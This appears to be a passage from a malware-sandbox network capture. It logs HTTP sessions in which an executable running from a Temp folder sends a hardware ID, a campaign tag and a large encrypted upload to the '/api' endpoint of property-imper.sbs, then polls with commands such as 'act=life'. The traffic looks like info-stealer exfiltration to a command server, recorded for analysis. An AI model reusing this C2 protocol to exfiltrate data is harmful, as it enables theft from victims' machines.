00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 Data Ascii: lrQMn 64F6(X&7~`aO@dR
2024-11-24 13:25:07 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n6qd2juuuub9m3lotikkuljg6q; expires=Thu, 20-Mar-2025 07:11:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5qgRg4%2Fy8jCep20OZ1%2F0U0McMKTfC6NhD2J4uS7OCq2ZBNdbhaTrGDqmLzBHuTarCos9Ag4DajFtEobuQa112ZC1T3vA0jclTOZXZ5v4DbxJlA5DSaRA1DjJIVAaVWsfK5M0K4g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b919699c42b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2331&sent=19&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21344&delivery_rate=1195251&cwnd=243&unsent_bytes=0&cid=5c8ca289c2e2625f&ts=1372&x=0"
2024-11-24 13:25:07 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49938	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ER558501OB5B1NIHR3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1305 Host: property-imper.sbs
2024-11-24 13:25:09 UTC	1305	OUT	Data Raw: 2d 2d 45 52 35 35 38 35 30 31 4f 42 35 42 31 4e 49 48 52 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 52 35 35 38 35 30 31 4f 42 35 42 31 4e 49 48 52 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 52 35 35 38 35 30 31 4f 42 35 42 31 4e 49 48 52 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --ER558501OB5B1NIHR3Content-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--ER558501OB5B1NIHR3Content-Disposition: form-data; name="pid"1--ER558501OB5B1NIHR3Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-24 13:25:09 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s9s304k2jnu6m54ogj8kfj4pmk; expires=Thu, 20-Mar-2025 07:11:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JLp0pHTJJZ%2FWLmE%2BEawbM4qjmZYZJKTVn%2BhJ0QVGoaNn5T4A%2BpbuAXif7pDKBQm46FPAeJEpj5ihqTs05Pd5pDTgGiBW2vEDaua79DSHx%2BzwmTT0dlBOWPQlh0OvL57stjwMEas%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b92e5c7480df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1533&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2224&delivery_rate=1861057&cwnd=211&unsent_bytes=0&cid=08d0c3ed87e1c57f&ts=725&x=0"
2024-11-24 13:25:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49950	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1BDMXYBDLOKCPPEQR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566617 Host: property-imper.sbs
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: 2d 2d 31 42 44 4d 58 59 42 44 4c 4f 4b 43 50 50 45 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 42 44 4d 58 59 42 44 4c 4f 4b 43 50 50 45 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 42 44 4d 58 59 42 44 4c 4f 4b 43 50 50 45 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --1BDMXYBDLOKCPPEQRContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--1BDMXYBDLOKCPPEQRContent-Disposition: form-data; name="pid"1--1BDMXYBDLOKCPPEQRContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: af c2 fd 55 df 45 01 61 d0 60 d2 cd af eb 7b ec d3 7b a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 Data Ascii: UEa`{{J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5C
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: c0 9b 92 fd f0 fc 90 30 18 5a b1 df d6 22 00 f2 7a f0 fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f Data Ascii: 0Z"z}w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: 21 b3 95 24 ac f8 f3 f3 c2 ca c2 4a 75 eb ea c2 57 c6 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c Data Ascii: !$JuWZmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: d7 6a 4e e3 63 e1 b6 c4 38 2e e7 88 f5 3d f0 cc d6 73 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec Data Ascii: jNc8.=s1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:W
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: c1 fc fc b7 48 83 b1 23 ae a1 b4 9f e0 25 78 c8 8b db 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 Data Ascii: H#%xk*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: 80 51 e7 3d 37 d3 11 35 64 68 66 12 b0 31 7a 5b 46 eb bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 Data Ascii: Q=75dhf1z[F6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: 93 08 10 52 ba 56 fd 7b 7e 73 a4 ef c3 fd 0d 85 5f a0 e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 Data Ascii: RV{~s_P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: 88 74 84 61 da 10 2b aa c9 a7 8e da d3 72 28 49 07 63 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a Data Ascii: ta+r(Ic{1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7z
2024-11-24 13:25:12 UTC	15331	OUT	Data Raw: 0d 44 cc 17 b9 c8 2e 76 e8 59 88 3b 0d 9b ce 82 ec c6 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 Data Ascii: D.vY;ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps
2024-11-24 13:25:18 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b4p7levrbi1vrkr4ue8hokonbt; expires=Thu, 20-Mar-2025 07:11:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8WhfjbR1ox35uZ7%2F60lCU7kdSfXPS2jjUZ3lhplDETcGU4SvSBSDF5u8wtdWKcmUhYrBMIpq%2BByVdyT504ocBE4qcuqbwWzLI4TDVokbiK0zRi8cPMOghqb4kye6KfSBD41pnw0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9450c17c468-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&sent=336&recv=592&lost=0&retrans=0&sent_bytes=2845&recv_bytes=569143&delivery_rate=1700640&cwnd=252&unsent_bytes=0&cid=d3456dc477892f1d&ts=5687&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49980	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 13:25:20 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=8E2B0E67CED2B7B7D7CBBD6DF28D3732
2024-11-24 13:25:21 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1g8n7gjh1bfjl2dhn0uiol47uq; expires=Thu, 20-Mar-2025 07:11:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TAQCG4oGzTTr9JiqtMWh2hCQqQG3zyK%2FHmkniEeLzSmcbxwOTgPijv1MyWWcXGYNC8Pre0OLGjSIDUmzxGL2mTQbV4v7K0YFk%2Fc%2B5F7qcRc8exLXXsTgUpKz%2B%2BGBqd3Ccgd3RPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b97338c20f6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1699&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=990&delivery_rate=1667618&cwnd=195&unsent_bytes=0&cid=db6d78adc084cdc2&ts=829&x=0"
2024-11-24 13:25:21 UTC	214	IN	Data Raw: 64 30 0d 0a 75 63 4d 6c 79 61 45 59 79 48 36 6d 56 6b 33 61 76 6c 77 35 68 30 56 71 59 75 50 70 65 56 58 69 74 36 36 63 4d 58 39 41 2b 4b 6e 69 75 41 65 38 67 79 4c 71 46 74 49 69 50 65 44 69 63 32 57 6f 64 46 4a 58 7a 64 74 49 59 4d 79 47 6e 36 38 66 54 6e 61 6b 68 74 61 6c 51 35 57 4f 66 4b 30 59 69 44 4d 31 76 35 78 77 47 2b 45 78 53 46 6a 54 78 56 73 77 77 49 32 66 34 52 30 45 59 6f 32 4c 67 2b 46 4e 76 64 56 6f 38 69 4b 4a 43 6d 4c 72 68 6d 6b 58 74 58 52 66 54 4e 4c 59 53 6e 76 54 67 66 4b 7a 51 67 73 6c 6d 63 54 6c 37 46 65 6f 7a 33 79 6e 45 34 67 7a 4e 62 2b 63 63 42 76 68 4d 55 68 59 30 38 56 62 4d 4d 43 4e 6e 75 46 73 0d 0a Data Ascii: d0ucMlyaEYyH6mVk3avlw5h0VqYuPpeVXit66cMX9A+KniuAe8gyLqFtIiPeDic2WodFJXzdtIYMyGn68fTnakhtalQ5WOfK0YiDM1v5xwG+ExSFjTxVswwI2f4R0EYo2Lg+FNvdVo8iKJCmLrhmkXtXRfTNLYSnvTgfKzQgslmcTl7Feoz3ynE4gzNb+ccBvhMUhY08VbMMCNnuFs
2024-11-24 13:25:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	50004	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:24 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 13:25:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 13:25:25 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=74tfht9qp8ukvin0skqkhli4is; expires=Thu, 20-Mar-2025 07:12:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ZpeW%2Fua6nQgtYU3zywS1TdxTfIPPJc8B%2BYnY0kaZBvHRAjjDB1fPD%2FQiboErEbDpPAhtzBf2j0Q%2BhpSl5pTs3fMBNUN5jHOijlV4NKVOEoUlzB9e6pVxEQz6QZfkpsViWzMOUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b98c0ff88c17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1892&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1596500&cwnd=239&unsent_bytes=0&cid=35a8e52c1537bb2d&ts=1063&x=0"
2024-11-24 13:25:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 13:25:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	50014	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 13:25:26 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
